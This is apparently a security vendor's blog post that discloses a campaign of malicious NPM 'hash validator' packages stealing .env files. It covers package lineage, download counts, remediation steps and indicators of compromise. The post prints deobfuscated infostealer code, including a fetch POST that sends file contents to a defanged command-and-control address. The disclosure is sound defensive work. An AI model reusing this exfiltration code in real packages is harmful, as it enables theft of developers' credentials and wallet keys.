Hash Validation Packages Targeted by Malicious NPM Packages

Last week while researching another related campaign the Safety research team uncovered a bigger, and more sinister, threat campaign targeting some of the most popular NPM hash validation libraries with functioning copycat packages. You can read last weeks blog post about the "polymarket-clob" NPM package here.

TL;DR

This cluster is a coordinated ongoing software supply chain attack involving 12 malicious "hash validator" packages. These packages are simple, but effective infostealers that target .env files on developers laptops, or in CI/CD pipelines.

The scope of the attack

The package that we found last week, “polymarket-clob”, was a malicious package that  targeted crypto traders. This older group of malicious packages are targeting a wider range of developers and application targets. These additional packages are:

• blockchain-helper-lib
• ‍dotenv-lib
• esb-core-helpers
• polymarket-clob
• secure-string-crypto
• sha256-cbc
• sha256-validation
• sha256-validator-pack
• sha256-validator-pro
• solana-utils-sdk
• synced-plus-agent
• @metadata-ipfs/bonk.fun-ipfs

These hash validation packages, particularly sha256-validation and sha256-validator-pro with their substantial download counts of 7,677 and 1,057 respectively, were strategically targeted by malicious actors who exploited the trust developers place in cryptographic utility packages within the NPM ecosystem, leading to their removal and security holds as they likely contained code designed to compromise supply chain security.

Blockchain-helper-lib

This package uses a blockchain related name, but bills itself as a hash validation library.

The package author, "jamesedward" has only published one package:

This package has had 28 versions over the last six months:

  "time": {
    "created": "2025-07-14T08:43:45.139Z",
    "modified": "2025-09-25T08:29:02.689Z",
    "0.0.1": "2025-07-14T08:43:45.309Z",
    "0.0.2": "2025-07-14T08:52:03.397Z",
    "0.0.3": "2025-07-14T08:56:58.587Z",
    "0.0.4": "2025-07-14T08:58:56.339Z",
    "0.0.5": "2025-07-14T19:55:51.061Z",
    "0.0.6": "2025-07-14T20:52:38.695Z",
    "0.0.7": "2025-07-14T22:44:35.341Z",
    "0.0.8": "2025-07-14T22:47:22.998Z",
    "0.0.9": "2025-07-15T06:03:03.264Z",
    "0.0.10": "2025-07-15T14:37:43.466Z",
    "0.0.11": "2025-07-15T16:07:26.700Z",
    "0.0.12": "2025-07-15T16:25:29.582Z",
    "0.1.0": "2025-07-15T22:19:05.016Z",
    "0.1.1": "2025-07-16T06:00:04.976Z",
    "0.1.2": "2025-07-16T07:00:15.283Z",
    "0.1.3": "2025-07-16T18:36:25.584Z",
    "0.1.4": "2025-07-16T21:12:35.244Z",
    "0.1.5": "2025-07-17T20:54:21.557Z",
    "0.1.6": "2025-07-18T17:32:05.002Z",
    "0.1.7": "2025-07-18T21:09:43.695Z",
    "0.1.8": "2025-07-19T15:49:21.611Z",
    "0.1.9": "2025-07-20T22:53:07.611Z",
    "0.1.10": "2025-07-21T05:47:49.523Z",
    "0.1.11": "2025-07-22T06:00:13.730Z",
    "0.1.12": "2025-07-23T06:13:14.246Z",
    "0.1.13": "2025-07-24T18:55:36.037Z",
    "0.2.0": "2025-07-25T05:59:46.467Z",
    "0.2.2": "2025-09-25T08:29:02.510Z"
  },
  "author": "James Edward",

The Safety team has alerted NPM about this package, but it is still available as of this writing. NPM's time to removal is increasing again after having come down dramatically from weeks to hours after the shai-hulud attacks.

The Infostealer: index.js

The package.json file does not include an install script, so that means these packages rely on the victim importing the library into their applications. The only way that the victim will do this is if the library actually performs its function, and most of these packages do in fact validate hashing.

The index.js file

The index.js file looks for .env files in the current directory and its parent directory. All module names are Base64-encoded to evade static analysis and grep-based detection. We've decoded them below and added comments.‍

const _0x1a2b=require('fs');  // Decoded
const _0x3c4d=require('path');  // Decoded
const _0x2e4f=require('crypto');  // Decoded
const{['deepHashES6']:_0xe5f6}=require('./utils');  // Decoded

/**
 * Sha256 Validation - A professional utility for validating sha256 hashes with enhanced error handling
 */
class BlockchainHelper {
    /**
     * Validate a sha256 hash synchronously
     * @param {string} filePath - Path to the file to validate
     * @param {object} options - Options for validating the sha256 hash
     * @param {string} options.encoding - File encoding (default: 'utf8')
     * @param {boolean} options.resolveFromCwd - Resolve path from current working directory (default: false)
     * @returns {string} sha256 hash
     * @throws {Error} If sha256 hash cannot be validated
     */
    static typescriptRuleValidation(_0x9i0j={}){
        const{encoding:_0xak1l='utf8',resolveFromCwd:_0xbm2n=false}=_0x9i0j;  // Decoded
        let _0xco3p='.env';  // Decoded
        let _0xdq4r='../';  // Decoded

‍

The Exfiltration Module: utils.js

const _0xa1b2='deepHashES6';  // Decoded
const _0xc3d4=async(_0xe5f6)=>{
try{
const _0xf1=global.fetch||(()=>{try{return require('node-fetch');}catch{return require('fetch');}})();
const _0xg7h8=await _0xf1(`${"hxxp://170[.]205[.]31[.]22:5580/core-helper"}`,{  // Decoded
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:_0xe5f6})
});
return _0xg7h8.ok;
}catch(_0xi9j0){
return true;
}
};
exports[_0xa1b2]=_0xc3d4;

Researching the origins of this attack

Remember how the polymarket-clob package used the source code from another malicious package, “sha256-validator-pro”?  The Safety research team analyzed that package which was published in August 2025.

The similarities between sha256-validator-pro (August 2025) and polymarket-clob (December 2025) are strong. Both files have the same 5 files, and the files themselves are architecturally very similar as well. For example, the index.js files use the same obfuscated class and variable names. It's obvious to our team that polymarket-clob is based on sha256-validator-pro.

The sha256-validator-pro package was published by the NPM author "johndoe1090" who published 7 other packages in 2025:

While the author of the polymarket-clob package made some operational mistakes early on, their updated payload is better and harvests more credentials than its predecessor.  Those earlier malicious package notably only looked for and exfiltrated .env files on the compromised hosts.  The latest package, polymarket-clob, looks for .env files, but also looks for six additional files including wallet.json, wallet_list.json and similar files.

While searching for other packages that had some of the same characteristics as polymarket-clob, we identified older packages using the same payload:  It turns out that the “sha256-validator-pro” package was based on an earlier package “sha256-validator-pack” which the Safety team has also analyzed.

Our team has analyzed all the packages involved and while we can't say that the same threat actor published all of these packages, we can absolutely say that polymarket-clob was based on sha256-validator-pro which in turn was based on sha256-validateor-pack.

So, it went like this:  sha256-validator-package --> sha256-validator-pro --> polymarket-clob

How many times were these packages downloaded?

• blockchain-helper-lib: 6,787 downloads - still available on the NPM registry
• sha256-validation: 7,677 downloads - removed (security holding)
• sha256-validator-pro: 1,057 downloads - removed (security holding)
• sha256-validator-pack: 409 downloads - removed
• sha256-cbc: 978 downloads - removed (security holding)
• solana-utils-sdk: 120 downloads - removed (security holding)
• synced-plus-agent: 65 downloads - removed (security holding)
• esb-core-helpers: 195 downloads - unpublished
• secure-string-crypto: 97 downloads - unpublished
• dotenv-lib: 3 downloads - removed (security holding)

Remediation

If You've Installed Any of These Packages

1. Immediately remove the package:
2. npm uninstall blockchain-helper-lib

3. Rotate ALL credentials in your .env files
   • API keys
   • Private keys
   • Database credentials
   • Any secrets
4. Transfer cryptocurrency from potentially compromised wallets to new wallets with freshly generated keys
5. Revoke API access for any services that may have been exposed
6. Check network logs for connections to 178.17.62.101
7. Scan your source code for malicious packages:
8. safety scan


Prevention

1. Install Safety Firewall
2. Verify package authenticity before installation
   • Check download counts
   • Verify publisher identity
   • Look for typosquats
3. Use lockfiles (package-lock.json) and verify integrity
4. Implement least-privilege - don't run npm install as root
5. Store secrets securely - use vault solutions, not .env files in project directories
6. Enable network monitoring to detect suspicious outbound connections

Indicators of Compromise (IOCs)

Based on our research this threat campaign has several IOCs you can look for:

NPM Packages - all versions:

dotenv-lib
esb-core-helpers
polymarket-clob
secure-string-crypto
sha256-cbc 1.0.3
sha256-validation
sha256-validator-pack
sha256-validator-pro
solana-utils-sdk
synced-plus-agent

blockchain-helper-lib

‍

IP Addresses:

178.17[.]62[.]101

170.205[.]31[.]22

146.19[.]215[.]54

‍

C2 address:

hxxp://178.17[.]62[.]101:5018/dev-sha-es6

hxxp://146[.]19[.]215[.]54:9001/"}/deep-es6

hxxp://170[.]205[.]31[.]22:5580/core-helper

‍

Files:

25e878d355b2d7ee991b39aff7d09fffd07f9425c75205cee190bf3c422502b9  ./README.md
dbca2e950544256b3ce73051752e0d7021b9777df45a8fcfbe5cc0a88ede4a5f  ./index.d.ts
5d3be668ad8b7944e967b183a2850ce5a3a98245c9859708bde85e1eda1f92a2  ./index.js
bf05b20767a3094fecfaf59a0862e674d4da658329f1af7b5cfa594d91ae6224  ./package.json
4598fb3406bba9ea96a33a746f709a231b99cecaf04569f54d2068564a28fd2b  ./utils.js

How can Safety help protect you from these attacks?

Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.

But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.

You can sign up for a free Safety account and try the Safety Firewall HERE.

Feel free to reach out to me with any questions!

Let us know if this blog post helped you

I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

‍

‍Paul McCarty - Head of Research, Safety

You can find me on LinkedIn and BlueSky.

‍